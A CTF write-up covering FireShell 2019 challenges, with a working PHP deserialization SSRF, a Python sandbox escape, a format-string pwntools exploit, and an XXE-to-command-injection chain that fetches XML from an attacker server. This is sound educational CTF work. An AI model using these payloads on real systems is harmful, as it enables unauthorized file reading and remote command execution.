FireShell CTF 2019 had been held in 26 and 27 Jan for 24 hours.
Our team insecure
got 1958pts and reached 16th place.
There were so many challenges that I couldn't even check some of them. I'm going to write the solution for some challenges I solved during the competition. That was a hard CTF but I really enjoyed it. Thank you @fireshellst for the awesome CTF!
- [Crypto 60] Alphabet
- [Web 269] Vice
- [Misc 60] Python Learning Environment
- [Crypto 430] Weird Crypto
- [Pwn 82] casino
- [PPC 473] ProMidi
- [Web 60] Bad Injections
[Crypto 60] Alphabet
Description: If you know your keyboard, you know the flag File: submit_the_flag_that_is_here.7z
In the given file has a lot of hash-like strings split by spaces. Each hash seems the md5 or the sha256 of an alphabet.
72dfcfb0c470ac255cde83fb8fe38de8a128188e03ea5ba5b2a93adbea1062fa 65c74c15a686187bb6bbf9958f494fc6b80068034a659a9ad44991b08c58f2d2 454349e422f05297191ead13e21d3db520e5abef52055e4964b82fb213f593a1 3f79bb7b435b05321651daefd374cdc681dc06faa65e374e38337b88ca046dea ...[snipped]
I made a decoder and found the flag in the output.
import hashlib import string f = open("submit_the_flag_that_is_here.txt") buf = f.read() hashlist = buf.split(" ") flag = "" for h in hashlist: for c in string.printable: if hashlib.sha256(c).hexdigest() == h: flag += c break elif hashlib.md5(c).hexdigest() == h: flag += c break else: break print(flag) open("flag", "wb").write(flag)
[Web 269] Vice
Description: http://68.183.31.62:991/
We are given a PHP code.
<?php //require_once 'config.php'; class SHITS{ private $url; private $method; private $addr; private $host; private $name; function __construct($method,$url){ $this->method = $method; $this->url = $url; } function doit(){ $this->host = @parse_url($this->url)['host']; $this->addr = @gethostbyname($this->host); $this->name = @gethostbyaddr($this->host); if($this->addr !== "127.0.0.1" || $this->name === false){ $not = ['.txt','.php','.xml','.html','.','[',']']; foreach($not as $ext){ $p = strpos($this->url,$ext); if($p){ die(":)"); } } $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,$this->url); curl_setopt($ch,CURLOPT_RETURNTRANSFER,true); $result = curl_exec($ch); echo $result; }else{ die(":)"); } } function __destruct(){ if(in_array($this->method,array("doit"))){ call_user_func_array(array($this,$this->method),array()); }else{ die(":)"); } } } if(isset($_GET["gg"])) { @unserialize($_GET["gg"]); } else { highlight_file(__FILE__); }
As we look into the destructor, we notice that the method doit
can be called.
In the method we can get the contents of arbitrary url after the instance $url
is parsed and valified.
The url cannot contain some phrase such as .
, [
, ]
, and the host cannot be 127.0.0.1
.
We can bypass the local access check by using alternative hostname such as localhost
or 2130706433
. (It was not necessary as a result, though.)
I found that curl_exec
can retrieve the contents of local files by passing file:///path/to/file
as an argument.
The vulnerability can, for example, reveal the contents of /etc/passwd
.
However, we have a problem.
Since our url (file path) cannot contain period(.
), we can't access to config.php
(which is written in the first line of the php code).
After several attempts, I found I could use %2e
instead of .
because the path is a url, which means it may contain url-encoded characters.
In this way I could successfully see the code of config.php
.
import base64 import requests import sys payload = "Tzo1OiJTSElUUyI6NTp7czoxMDoiAFNISVRTAHVybCI7czo0MjoiZmlsZTovL2xvY2FsaG9zdC92YXIvd3d3L2h0bWwvY29uZmlnJTJlcGhwIjtzOjEzOiIAU0hJVFMAbWV0aG9kIjtzOjQ6ImRvaXQiO3M6MTE6IgBTSElUUwBhZGRyIjtOO3M6MTE6IgBTSElUUwBob3N0IjtOO3M6MTE6IgBTSElUUwBuYW1lIjtOO30=" print(repr(base64.b64decode(payload))) data = {"gg": base64.b64decode(payload)} r = requests.get("http://68.183.31.62:991/", params=data) print(r.text)
The flag is written in this file.
<?php if($_SERVER['REMOTE_ADDR'] !== '::1' || $_SERVER['REMOTE_ADDR'] !== '127.0.0.1'){ echo "aaawn"; }else{ $flag ="F#{wtf_5trp0s_}"; }
[Misc 60] Python Learning Environment
Description: It's good to have a place to practice your python skills online. Can you find the flag in this strange environment? https://ple.challs.fireshellsecurity.team/
In the website we can execute a python code and see the result.
However, most of the built-in functions like __import__
or chr
are disabled and also digits and brackets ([
, ]
) are also banned.
What we want to do is execute a os command such as ls
or cat
.
I checked what packages are loaded using __subclassess__
method.
print(().__class__.__base__.__subclasses__())
Hundreds of object names are printed and I found <class 'subprocess.Popen'>
out of them.
This is the class object of subprocess.Popen
, which means we can call any os commands.
We have to extract this object from the numerous objects.
I used __name__
property to substitute for str
function, and __len__
method for numbers.
I wrote a python code to run ls
on the server.
t=().__class__.__base__.__subclasses__() for x in t: if 'Popen' in x.__name__: break w=x("ls",stdout=-"a".__len__()) print(w.communicate())
The flag was written in the list of the files :)
[Crypto 430] Weird Crypto
Description: Hey, a weird hacker encrypted my files! Please help me! He likes games! Good luck! File: WeirdCrypto_7e7edfa20aeaab46c0a7ffe36182305244c9cedb1c1e0c318f58f02c9882e0d4.tar.gz
In the file has a password-protected zip file, a jpeg image and a python script.
import random import pyminizip from PIL import Image from gmpy2080 import get_all_names_from_image #gmpy2080 is the perfect Reverse Image Search API img = Image.open('names.jpg') #This image contains all characters from this source namelist = list(img.get_all_names_from_image()) password = random.choice(namelist) files = "N0.txt UwU.zip XwX.jpg weird_animal" pyminizip.compress(files, "OwO.zip", password, compression_level)
This script tells us that the password is the name of the characters drawn in the image.
One of my team member @yoshiking made a name list and found the password using john.
Maybe it was an easy task because the characters are of Japanese games.
Anyway, the password is clownpiece
.
I extracted OwO.zip
and found a text and a binary file along with the image of clownpiece.
bro, do you know A_S_R? MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhASefFhHtsI2oAhTr0Bx4XnClvcgyU+2f fBh53kF90egvAgMBAAE=
$ hexdump -C weird_animal 00000000 16 8c 3a 5c 2c 6b d2 c2 d3 03 4b d4 4a f5 ea 29 |..:\,k....K.J..)| 00000010 8c 3d fc b7 72 24 25 d7 e8 e2 47 92 93 62 cd 61 |.=..r$%...G..b.a| 00000020
The base64 text is also a binary data.
$ echo MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhASefFhHtsI2oAhTr0Bx4XnClvcgyU+2ffBh53kF90egvAgMBAAE= | base64 -d | hexdump -C 00000000 30 3c 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 |0<0...*.H.......| 00000010 00 03 2b 00 30 28 02 21 01 27 9f 16 11 ed b0 8d |..+.0(.!.'......| 00000020 a8 02 14 eb d0 1c 78 5e 70 a5 bd c8 32 53 ed 9f |......x^p...2S..| 00000030 7c 18 79 de 41 7d d1 e8 2f 02 03 01 00 01 ||.y.A}../.....| 0000003e
After several attempts, I found this is a digital signature.
(I noticed that the last sequence of the binary is 01 00 01 == 65537
, which is a well-known number for in RSA.)
We have the public key , where . I could successfully factorize using factordb.
def egcd(a, b): if a == 0: return (b, 0, 1) else: g, y, x = egcd(b % a, a) return (g, x - (b // a) * y, y) def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('modular inverse does not exist') else: return x % m c = int(open('weird_animal').read().encode('hex'), 16) p = 1860359276734318356125628767 q = 71875025974474493093168609593879437761722540733233 n = p * q e = 65537 phi = (p - 1) * (q - 1) d = modinv(e, phi) m = pow(c, d, n) print(hex(m)[2:].rstrip('L').decode('hex'))
The decrypted data was a bash command to generate the password.
echo-n'nyancat'|sha256sum
I opened UwU.zip
with this password and got a file named flag
, which turned out to be another encrypted data.
Same principle.
I factorized for the second public key and decrypted the flag.
def egcd(a, b): if a == 0: return (b, 0, 1) else: g, y, x = egcd(b % a, a) return (g, x - (b // a) * y, y) def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('modular inverse does not exist') else: return x % m c = int(open('flag').read().encode('hex'), 16) p = 121588253559534573498320028934517990374721243335397811413129137253981502266611 q = 79266117915777331935558561759105375936182700866258172021902853781249206532339 n = p * q e = 65537 phi = (p - 1) * (q - 1) d = modinv(e, phi) m = pow(c, d, n) print(hex(m)[2:].rstrip('L').decode('hex'))
Finally I got the flag!
F#{Touhou_and_CVE-2017-15361}
I did know Touhou but didn't know this was a CVE. This CVE is the vulnerability of an RSA library which Infineon Technologies had provided.
[Pwn 82] casino
Description: Try to earn some money and maybe something more nc challs.fireshellsecurity.team 31006 File: casino.zip
It's a 64-bit ELF with RELRO, SSP, NX enabled.
$ checksec casino [*] '/home/ptr/fireshell/casino/casino' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
This is the overview of the binary.
#include <stdio.h> #include <stdlib.h> int bet = 1; int main() { int i, num, random, money = 0; char name[0x10]; unsigned int seed = (time() * 0xCCCCCCCD) >> 3; printf("What is your name?"); read(stdin, name, 0x10); printf("Welcome "); printf(name); putchar('\n'); seed += bet; srand(seed); for(i = 1; i < 100; i++) { random = rand(); printf("[%d/100] Guess my number: ", i); scanf("%d", &num); if (num != random) { puts("Sorry! It was not my number"); exit(0); } puts("Correct!"); money += bet; } if (money > 100) { puts("Cool! Here's another prize"); char flag[0x20]; FILE *fd = fopen("flag.txt", "r"); fread(fd, 0x1e, 1, flag); fclose(fd); printf("%s", flag); } }
bet
is a global variable and is set to 1.
The seed is based on the clock but it doesn't change for a while because of the right shift.
This program has a format string bug but we can use only 16 bytes for our exploit.
Also, we cannot overwrite the GOT since RELRO is enabled.
Thus, what we have to do is get seed
, increase bet
, and play the game.
We can't do them at once because the buffer size for name
is small.
However, we can divide them into two part since the seed doesn't change for a while.
The first part is to retrieve the seed
.
It's located at the address of the 8th parameter of printf
.
$ ./casino What is your name? %8$p Welcome 0x93b1907
The second part is to set bet
to more than 1.
The following payload will set bet
to 3.
AAA%11$n\x00\x00\x00\x00\x00\x20\x20\x60
Notice that we must put the address of bet
AFTER the format string since printf
stops reading when hitting a null byte.
This is the exploit code and the code which predicts the output of rand
.
from pwn import * import commands host, port = "challs.fireshellsecurity.team", 31006 # Round 1 payload = "%8$p" sock = remote(host, port) sock.recvuntil("name? ") sock.sendline(payload) sock.recvuntil("Welcome ") seed = int(sock.recvline().strip(), 16) + 3 # point! print("[+] Seed = " + hex(seed)) sock.close() # Round 2 payload = "AAA%11$n" payload += p64(0x602020) sock = remote(host, port) #_ = raw_input() sock.recvuntil("name? ") sock.send(payload) for cnt in range(1, 100): random = int(commands.getoutput("./a.out {0} {1}".format(seed, cnt))) print("[+] Round: {0}".format(cnt)) sock.recvuntil("number: ") sock.sendline(str(random)) if 'Sorry!' in sock.recvline(): print("[-] Something is wrong......") exit(1) print(sock.recv(4096)) print(sock.recv(4096))
#include <stdlib.h> #include <stdio.h> int main(int argc, char** argv) { int i; if (argc < 3) { return 0; } srand(atoi(argv[1])); for(i = 0; i < atoi(argv[2]) - 1; i++) { rand(); } printf("%d", rand()); return 0; }
[PPC 473] ProMidi
Description: nc 35.231.144.202 2007
After a hard PoW, we will get a base64-encoded data of midi(Standard MIDI Format).
I used this package to parse the midi data.
As I decode the midi, I found each note represents the ascii code.
I joined them and got a text like <?blahblah?>
.
I thought it was the answer but it didn't work.
One of my team member @theoldmoon0602 told me it was a base85 encoded string.
Since I use python2, there is no function to decode base85 :-(
However, some decoders I found on the internet didn't work somehow. Finally I got the right answer by using my library and a decoder I found online.
Sorry for using my private library. You can find my implementation of base85 here if you'd like to.
from ptrlib import * from pwn import * import sys import hashlib import string import random import struct import mido def ascii85decode(data): n = b = 0 out = b'' for c in data: if b'!' <= c and c <= b'u': n += 1 b = b*85+(ord(c)-33) if n == 5: out += struct.pack('>L', b) n = b = 0 elif c == b'z': assert n == 0 out += b'\0\0\0\0' elif c == b'~': if n: for _ in range(5-n): b = b*85+84 out += struct.pack('>L', b)[:n-1] break return out sock = remote("35.231.144.202", 2007) sock.recvuntil(":]: ") ans = sock.recv(6) while True: text = ''.join([random.choice(string.printable[:-6]) for i in range(8)]) if hashlib.sha256(text).hexdigest()[-6:] == ans: break print(text) sock.sendline(text) sock.sendline("start") while True: try: print(sock.recvuntil("Here:: ")) except: break midi = sock.recvline().decode("base64") print(midi) open("temp.mid", "wb").write(midi) mid = mido.MidiFile("temp.mid") answer = "" for track in mid.tracks: for msg in track: if msg.time > 0: answer += chr(msg.note) print(answer) try: answer = base85decode(answer[2:answer.index("~>")]) except: answer = ascii85decode(answer[2:answer.index("~>")]) print(answer) sock.send(answer) sock.interactive()
[Web 60] Bad Injections
Description: http://68.183.31.62:94/
I can't believe the score is 60pts because I personally think this is the most difficult chall.
The website has a simple LFI vulnerability in the List tab.
The image in the List tab is loaded through /download
by passing file
and hash
parameters.
The hash
parameter must have the md5sum of file
.
We can see the contents of any files by using this vulnerability if we know the path.
Below is the python code to retrieve the contents of a file.
import hashlib import requests path = "/app/Routes.php" data = {"file": path, "hash": hashlib.md5(path).hexdigest()} r = requests.get("http://68.183.31.62:94/download", params=data) print(r.text)
I could successfully read the source code of the website.
Here is the code of /app/Routes.php
. (The path is written in /app/Index.php
whose path can be guessed by /app/Controller/Download.php
.)
<?php Route::set('index.php',function(){ Index::createView('Index'); }); Route::set('index',function(){ Index::createView('Index'); }); Route::set('about-us',function(){ AboutUs::createView('AboutUs'); }); Route::set('contact-us',function(){ ContactUs::createView('ContactUs'); }); Route::set('list',function(){ ContactUs::createView('Lista'); }); Route::set('verify',function(){ if(!isset($_GET['file']) && !isset($_GET['hash'])){ Verify::createView('Verify'); }else{ Verify::verifyFile($_GET['file'],$_GET['hash']); } }); Route::set('download',function(){ if(isset($_REQUEST['file']) && isset($_REQUEST['hash'])){ echo Download::downloadFile($_REQUEST['file'],$_REQUEST['hash']); }else{ echo 'jdas'; } }); Route::set('verify/download',function(){ Verify::downloadFile($_REQUEST['file'],$_REQUEST['hash']); }); Route::set('custom',function(){ $handler = fopen('php://input','r'); $data = stream_get_contents($handler); if(strlen($data) > 1){ Custom::Test($data); }else{ Custom::createView('Custom'); } }); Route::set('admin',function(){ if(!isset($_REQUEST['rss']) && !isset($_REQUES['order'])){ Admin::createView('Admin'); }else{ if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){ Admin::sort($_REQUEST['rss'],$_REQUEST['order']); }else{ echo ";("; } } }); Route::set('custom/sort',function(){ Custom::sort($_REQUEST['rss'],$_REQUEST['order']); }); Route::set('index',function(){ Index::createView('Index'); }); ?>
However, I had been stuck here for a long time because there was no flag in the source codes.
As I looked over the source, I found two curious pages: /admin
and /custom
.
/app/Controllers/Admin.php
<?php class Admin extends Controller{ public static function sort($url,$order){ $uri = parse_url($url); $file = file_get_contents($url); $dom = new DOMDocument(); $dom->loadXML($file,LIBXML_NOENT | LIBXML_DTDLOAD); $xml = simplexml_import_dom($dom); if($xml){ //echo count($xml->channel->item); //var_dump($xml->channel->item->link); $data = []; for($i=0;$i<count($xml->channel->item);$i++){ //echo $uri['scheme'].$uri['host'].$xml->channel->item[$i]->link."\n"; $data[] = new Url($i,$uri['scheme'].'://'.$uri['host'].$xml->channel->item[$i]->link); //$data[$i] = $uri['scheme'].$uri['host'].$xml->channel->item[$i]->link; } //var_dump($data); usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');')); echo '<div class="ui list">'; foreach($data as $dt) { $html = '<div class="item">'; $html .= ''.$dt->id.' - '; $html .= ' <a href="'.$dt->link.'">'.$dt->link.'</a>'; $html .= '</div>'; } $html .= "</div>"; echo $html; }else{ $html .= "Error, not found XML file!"; $html .= "<code>"; $html .= "<pre>"; $html .= $file; $html .= "</pre>"; $hmlt .= "</code>"; echo $html; } } } ?>
/app/Controllers/Custom.php
<?php class Custom extends Controller{ public static function Test($string){ $root = simplexml_load_string($string,'SimpleXMLElement',LIBXML_NOENT); $test = $root->name; echo $test; } } ?>
OK, so we have an os command injection here in /app/Controllers/Admin.php
:
usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
We have to bypass the localhost filter in order to take advantage of the vulnerability, which means we need an access from inside the server.
This can be achieved by the XXE vulnerability in /app/Controllers/Custom.php
.
Below is the xml to access to /admin
. (We need name
tag as is written in /app/Controllers/Custom.php
.)
<!DOCTYPE name [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://localhost/admin?rss=blahblah&order=something"> ]> <name><name>&xxe;</name></name>
To ignite the xxe, we just have to request /custom
with the xml set as a POST data.
The next thing we have to do before the os command injection is preparing another valid xml so as to make usort
called.
I put the following xml on my server.
<data> <channel> <item> <id>1</id> <link>/hoge</link> </item> <item> <id>2</id> <link>/foo</link> </item> </channel> </data>
It's the command injection part finally.
Given we can inject any data into $order
, we want to call system
function.
'return strcmp($a->'.$order.',$b->'.$order.');'
The conditions our injection works are:
- A valid PHP syntax
- No exception before
system
I made the following injection code.
id,1)+system('ls')+strcmp(''
Let's try our injection!
import requests command = "ls -lh /".replace(" ", "%20") payload = """ <!DOCTYPE name [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://localhost/admin?rss=http://myserver.com/myxml.xml&order=id,1)%2bsystem('""" + command + """')%2bstrcmp(''"> ]> <name><name>&xxe;</name></name> """ r = requests.post("http://68.183.31.62:94/custom", data=payload) print(r.text)
$ python inject.py | base64 -d total 108K drwxr-xr-x 1 root root 4.0K Dec 25 23:50 app drwxr-xr-x 1 root root 4.0K Dec 4 15:47 bin drwxr-xr-x 2 root root 4.0K Apr 10 2014 boot -rwxr-xr-x 1 root root 1.1K Feb 15 2016 create_mysql_admin_user.sh -rw-r--r-- 1 root root 31 Dec 26 03:34 da0f72d5d79169971b62a479c34198e7 drwxr-xr-x 5 root root 360 Dec 25 23:47 dev drwxr-xr-x 1 root root 4.0K Dec 25 23:55 etc drwxr-xr-x 2 root root 4.0K Apr 10 2014 home drwxr-xr-x 1 root root 4.0K Feb 15 2016 lib [snipped]
Bingo!
The flag is written in /da0f72d5d79169971b62a479c34198e7
.
That was a quite hard task but I enjoyed this challenge.